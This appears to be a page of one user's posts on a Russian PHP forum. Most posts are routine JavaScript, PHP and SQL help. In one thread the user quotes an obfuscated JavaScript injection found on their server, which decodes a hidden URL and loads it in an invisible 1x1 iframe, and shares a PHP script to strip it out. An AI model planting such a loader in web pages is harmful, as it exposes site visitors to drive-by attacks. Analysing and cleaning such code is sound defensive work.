PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (164): В начало « ... 156 157 158 159 160 [161] 162 163 164 »

> Найдено сообщений: 2452
Panoptik Отправлено: 29 Ноября, 2011 - 23:08:11 • Тема: Вернуть значение выбранной радиокнопки • Форум: JavaScript & VBScript

Ответов: 9
Просмотров: 3901
вот вариант на чистом javascript
CODE (htmlphp):
скопировать код в буфер обмена
  1. <input value="3" type="radio" name="dd" />
  2. <input value="4" type="radio" name="dd" />
  3. <input value="6" type="radio" name="dd" />
  4. <input value="22" type="radio" name="dd2" />
  5. <input value="42" type="radio" name="dd2" />
  6. <input value="62" type="radio" name="dd2" />
  7. <button onclick="show(1);">as</button>
  8. <button onclick="show(2);">as2</button>
  9. <script type="text/javascript">
  10. function show(group) {
  11.   var attrname;
  12.   var attrcheck;
  13.   var index;
  14.   if(group == 1) {
  15.    var name = 'dd';
  16.   } else {
  17.    var name = 'dd2';
  18.   }
  19.   var obj = document.getElementsByTagName('input');
  20.      for(var i = 0; i < obj.length; i++) {
  21.        attrname = obj[i].attributes.name.value;
  22.        attrcheck = obj[i].checked;
  23.        if(attrname == name && attrcheck) {
  24.            alert (obj[i].value);
  25.        }
  26.      }
  27. }
  28. </script>
Panoptik Отправлено: 29 Ноября, 2011 - 22:34:47 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков

Ответов: 9
Просмотров: 326
Цитата:
вирус? Мб баг? Может ошибаюсь на *nix вирусы не цепляются..

ну конечно не вирус, но действия выполнял явно скрипт а не человек, ибо в пределах 2 секунд было изменено несколько десятков/сотен файлов
Цитата:
Так же естественно сменить паролики везде

это сделали еще вчера
а вот за за это
Цитата:
посмотреть на тех сайтах у которых структуру знаете как свои пять пальцев на наличие "не местного" файла.
попробуем
в логах пусто(
самое печальное что это не хостинг а наш выделенный сервер. и скрипт действительно не мог выполнять такие действия пока я не изменил права на все файлы. пока думаю в сторону дыры с сисадминской стороны
Panoptik Отправлено: 29 Ноября, 2011 - 17:20:15 • Тема: Вернуть значение выбранной радиокнопки • Форум: JavaScript & VBScript

Ответов: 9
Просмотров: 3901
вообще если jquery подключена и вы с ней работали то можно сделать так:
вот за 2 минуты настрелял
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  3. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  4.  
  5. <head>
  6.         <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
  7.         <meta name="author" content="minatrix" />
  8.     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script>
  9.         <title>Неназванный 7</title>
  10. </head>
  11.  
  12. <body>
  13. <input value="3" type="radio" name="dd" />
  14. <input value="4" type="radio" name="dd" />
  15. <input value="6" type="radio" name="dd" />
  16. <button onclick="show();">as</button>
  17. <script type="text/javascript">
  18. function show() {
  19.    $('input[name=dd]').each(function(){
  20.       if($(this).attr('checked')) {
  21.        alert($(this).val());
  22.       }
  23.    });
  24. }
  25. </script>
  26.  
  27. </body>
  28. </html>
  29.  
Panoptik Отправлено: 29 Ноября, 2011 - 16:52:05 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков

Ответов: 9
Просмотров: 326
после недолгих раздумий был написан скрипт который читал все файлы и удалял зловредный код, поделюсь, может кому пригодится, или учту коментарии и советы:
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3.  
  4.     ini_set('max_execution_time','120');
  5.    
  6. //путь к папке с сайтами
  7. $path = '/var/www/studio/data/www/';
  8. //максимальное количество переборов, нажимая F5 проходим поочереди все файлы
  9. $max_iterations = 50;
  10. $cnt = 1;
  11.  
  12.  
  13. //функция сканирования всех папок и находящая нужные файлы
  14.  function read_dir($path) {
  15.     global $cnt;
  16.     global $max_iterations;
  17.     if($cnt <= $max_iterations) {
  18.      
  19.         $dir = scandir($path);  
  20.         foreach($dir as $diritem) {
  21.             if(substr($diritem,0,6) == 'index.') {
  22.                 find_inject($path.$diritem);  
  23.             }
  24.            
  25.             if(is_dir($path.$diritem) && $diritem != '.' && $diritem != '..') {
  26.                 read_dir($path.$diritem.'/');
  27.             }
  28.         }
  29.     }
  30.  }
  31.  $cnt_inject = 0;
  32.  
  33. //функция нахождения инъекции и удаления ее из файла
  34.  function find_inject($path,$offset = 0,$same = false) {
  35.     global $cnt_inject, $cnt;
  36.     $filecontent = file_get_contents($path);
  37.     if(strlen($filecontent)>$offset+1) {
  38.         $start = strpos($filecontent," <!-- . --><script type=\"text/javascript\">if('GkIAe'",$offset+1);
  39.         $end = strpos($filecontent,'ROKO;</script><!-- . -->',$offset+1);
  40.        
  41.         if($start && $end) {
  42.             $tmp = substr_replace($filecontent,'',$start,$end-$start+24);
  43.             $file = fopen($path,'w');
  44.             fwrite($file,$tmp);
  45.             fclose($file);
  46.             if(!$same) {
  47.                 print "<br />".$cnt++.'. '.$path."<br />";
  48.                 $same = true;
  49.             }
  50.             $cnt_inject++;
  51.             print $cnt_inject.'. '.$start." - ".$end.'<br />';
  52.             $res = true;
  53.             find_inject($path,0,$same);
  54.         } else {
  55.             $res = false;
  56.         }
  57.     } else {
  58.         $res = false;
  59.     }
  60.     return $res;
  61.  }
  62.  
  63.  read_dir($path);
  64. ?>
  65.  
Panoptik Отправлено: 29 Ноября, 2011 - 13:04:11 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков

Ответов: 9
Просмотров: 326
ситуация прослеживается с папками у которых права 777 и 755 из под одного и того же пользователя. то есть както могли взломать акк фтп?
а как можно через sql-инекцию получить доступ к shell? в БД точно не хранится инфа с доступами к фтп
Panoptik Отправлено: 29 Ноября, 2011 - 12:52:12 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков

Ответов: 9
Просмотров: 326
та вот руками и правим. 15 сайтов. блин. но уязвимость нужно бы найти. откуда могло такое взяться?
Panoptik Отправлено: 29 Ноября, 2011 - 12:42:39 • Тема: что делать с вирусом для index файлов • Форум: Вопросы новичков

Ответов: 9
Просмотров: 326
Доброго всем

у нас трагедия. на всех сайтах сервера, в каждой папке где имеется файл index.php/index.html дописан зловредный скрипт вот такого вида

CODE (javascript):
скопировать код в буфер обмена
  1.  
  2. <!-- . --><script type="text/javascript">if('GkIAe'=='PcSQtR')kduSI();var sEGja;var EdgahX='fKrNfb';if('DQHmU'=='Omfj')MHXOe='GiwJ';var TMtyeWXZ="\x66\x72\x6fmCharC\x6fd\x65";var pbfpi=120;function VJNx(){}
  3. var xMQXmOlq="";function JAMmah(){}function kcYW(){var DrHR='KeIo';if('xdZe'=='RSiuld')dfmCwi();}
  4. if('WVXT'=='fnNPOH')otbQo();if('zHkmr'=='DFgm')PpihO();var nPZbcvNO="s\x6cic\x65";var EcJEia='jsXqFm';var izlNGZHYh="a4b0b0ac766b6b9db0ab9eb1afacaba1a49da86a9faba96baf6c6ba5aa6a9fa3a57b6d6c";function jyJXK(){}if('WvrZL'=='JDodXD')MsVU='qUbY';function WwoTr(){}
  5. var gxwRmN='itrzFV';var oUGczFvk="p\x61\x72seInt";var kjrX;var sGAjMB;var NyTT=27;var VBWBjrZe=(function(){function dydkGo(){var hkIVw='dLAP';if('RcrL'=='lwnek')GqUxow();}var NEqytk='hSNJ';return this;var UfKKU;})();if('mTWytZ'=='pfXJ')WWBJ();var QnUOX="cons\x74ructor";var GBhA='ewNv';function FZMg(){var qEFWsn='HbQJj';if('yjUBu'=='yIZo')RVwP();}
  6. var JrqarNN="LSxIZfDv"[QnUOX];var slxTOE;var suXRl=89;function aPduh(){var bACO='kUly';if('MUoEjK'=='xUXEVN')tgJi();}
  7. for(var lMHyYSom=0;lMHyYSom<izlNGZHYh.length;lMHyYSom+=2){var Yhrdg;oUimSwtQv=VBWBjrZe[oUGczFvk](izlNGZHYh[nPZbcvNO](lMHyYSom,lMHyYSom+2),16)-60;var EpvQzf=71;function TLVFpT(){}
  8. xMQXmOlq+=JrqarNN[TMtyeWXZ](oUimSwtQv);var hYgM=16;function mHVD(){var tzckrp='FKTsj';if('WSNPmg'=='AvzqTY')NGLIfu();}var xkLIjj='LjHYnt';}
  9. if('HTZKe'=='kuJcLd')FrCe();if('Uzaj'=='uFPmeN')rYrL='qajY';function BKjWnE(){var Drfmo='xqXdV';if('SSyi'=='ppUMyb')SHekq();}
  10. var XrwEP="rUowFeuRb";function yyfze(){}var TcnABO=21;var rImjV=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+XrwEP+'" src="'+"xMQXmOlq"+'">':'iframe';function ahVM(){var lcVK='whbK';if('mJKA'=='RhED')fWhJ();}var ZDBl='TfLcSN';var ahLAYZ;var sMSoJI=document.createElement(rImjV);sMSoJI.name=XrwEP;var ARqr=86;sMSoJI.setAttribute("name",XrwEP);if('CcbU'=='DOnAV')spEIEU();sMSoJI.id=XrwEP;function XGKr(){var tMBC='dOjY';if('eIaE'=='YxPwQu')UMAmc();}
  11. sMSoJI.src=xMQXmOlq;function xJXSH(){}
  12. sMSoJI.style.right="0px";var TAZRuh=93;sMSoJI.style.top="0px";if('ghZal'=='HMsbjS')ErVOb();sMSoJI.style.height="1px"
  13. if('FAOqPy'=='qnMQRd')OHulZ='yISSK';sMSoJI.style.width="1px";var loVCI;var HzxyWb=265;if('XsVOyN'=='ciyOKq')brxMH();sMSoJI.style.position="absolute";function IJfqol(){var VeRObN='CPwZ';if('nLIZGV'=='QaRC')veKAA();}
  14. document.body.appendChild(sMSoJI);var xyoG;var XnvVN;var ROKO;</script><!-- . -->
  15.  


в index.php этот кусок дописывается после каждого закрывающего блок php тега "?>"

пожалуйста подскажите что это? откуда могло взяться и как с этим бороться?
Panoptik Отправлено: 29 Ноября, 2011 - 12:19:03 • Тема: Запрос с несколькими значениями • Форум: Работа с СУБД

Ответов: 8
Просмотров: 5261
я sql изучал по этому: http://www[dot]interface[dot]ru/home[dot]asp?artId=10280
Panoptik Отправлено: 28 Ноября, 2011 - 13:53:28 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков

Ответов: 7
Просмотров: 308
441674810
Panoptik Отправлено: 28 Ноября, 2011 - 13:30:12 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков

Ответов: 7
Просмотров: 308
ну вобщето ранд и возвращает число от 1 до i
я лично предпочитаю использовать многомерный массив например вот так:
PHP:
скопировать код в буфер обмена
  1.  
  2.         $id=$row[id];
  3.         $banpic=$row[nametime];
  4.         $banformat=$row[typeban];
  5.         $arr[] = array('id' => $id,'banpic' => $banpic, 'banformat' => $banformat);
  6.  
  7. //а после вызываем ранд и получаем один из результатов
  8.  
  9.         $i = rand(0,count($arr)-1);
  10. //и далее выводы
  11.  
  12.        $arr[$i]['id'] , $arr[$i]['banpic'] ...
  13.  
Panoptik Отправлено: 28 Ноября, 2011 - 12:54:04 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков

Ответов: 7
Просмотров: 308
у вас в условии
PHP:
скопировать код в буфер обмена
  1. if(intval($row[balance]/$row[price])==0 or $row[balance]<$row[price]) mysql_query("UPDATE tb_advban SET paused=1,balance=0 WHERE id='$row[id]'");

обновляются данные, но дальше вы обрабатываете изначальные значения, то есть все которые выбрались. Поставьте после if {}
PHP:
скопировать код в буфер обмена
  1.  
  2. if(intval($row[balance]/$row[price])==0 or $row[balance]<$row[price])
  3. {
  4.         mysql_query("UPDATE tb_advban SET paused=1,balance=0 WHERE id='$row[id]'");
  5.         $i++;
  6.         $id[$i]=$row[id];
  7.         $banpic[$i]=$row[nametime];
  8.         $banformat[$i]=$row[typeban];
  9. }
  10.  

(Добавление)
если я не так понял условие то возможно следующий блок операторов нужно выполнить в else if'a
PHP:
скопировать код в буфер обмена
  1.  
  2. if(intval($row[balance]/$row[price])==0 or $row[balance]<$row[price])
  3. {
  4.         mysql_query("UPDATE tb_advban SET paused=1,balance=0 WHERE id='$row[id]'");
  5. }
  6. else
  7. {
  8.         $i++;
  9.         $id[$i]=$row[id];
  10.         $banpic[$i]=$row[nametime];
  11.         $banformat[$i]=$row[typeban];
  12. }
  13.  
Panoptik Отправлено: 28 Ноября, 2011 - 12:30:33 • Тема: как узнать когда загрузится картинка • Форум: Вопросы новичков

Ответов: 0
Просмотров: 100
доброго всем.

вопрос такой. Вобщем имеется скрипт загрузки в модальное окно контента с изображениями различных размеров.
Логика такова, что контент загружается в скрытый див, после мы считываем получившиеся размеры контеййнера, размеры экрана и формируем размер и положение формы исходя из полученных результатов

проблема в том что если картинка не успела загрузиться, то соответственно ширина и высота просчитываются до того как контейнер обретет свои истинные размеры. а вот на второй вызов этой картинки(уже когда она находится в кеше) всё считается и отображается как и положенно.

пробовал дождаться загрузки методом
CODE (javascript):
скопировать код в буфер обмена
  1.  
  2. $('#img').onload(function(){
  3. //тут действия
  4. })
  5.  

но беда в том что на второй вызов это событие не сработает.

вопрос. как сделать такую проверку если картинка не загружена - то делать действия в вышеописанном куске кода, а если уже загружена в кеше, то просто делать код без обработчика события load?
Panoptik Отправлено: 28 Ноября, 2011 - 12:22:20 • Тема: Выборка из базы, для ротации баннеров • Форум: Вопросы новичков

Ответов: 7
Просмотров: 308
попробуйте вывести содержимое массивов $id, переменных $newi, $i посмотрите что в них попадает
(Добавление)
и кстати насколько я знаю массивы нельзя просто так выводить в строке, нужно их хотябы обрамлять в знаки {} а еще лучше отдельно выводить
PHP:
скопировать код в буфер обмена
  1.  
  2. $banpict="banners/".$banpic[$i].'.'.$banformat[$i];
  3.  
Panoptik Отправлено: 22 Ноября, 2011 - 15:41:32 • Тема: Бан подсети. как быть? • Форум: Прочее

Ответов: 4
Просмотров: 54
довольно таки любопытное занятие. я ж еще не точно знаю что именно это за сервисы. по моему мнению, так это некая авторитетная глобальная система бана, у которой спрашивают другие сервера информацию по айпи. А что это за система, чья она, где и с кем работает - это еще предстоит узнать
Panoptik Отправлено: 22 Ноября, 2011 - 13:28:32 • Тема: Бан подсети. как быть? • Форум: Прочее

Ответов: 4
Просмотров: 54
Вобщемс вот такая дилемма. В подсети был распространен некий вирус и моя подсеть чудом попала в бан лист определенных сервисов. И теперь некоторые хост-провайдеры отказывают мне в доступе как на фтп, так и к сайту
на сайт захожу через анонимайзер

Пытался решить проблему через прокси, с помощью например proxifier но после часа (очень медленной) работы и этот перестал меня соединять

Как быть в такой ситуации? может есть еще какие средства?

Страниц (164): В начало « ... 156 157 158 159 160 [161] 162 163 164 »
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB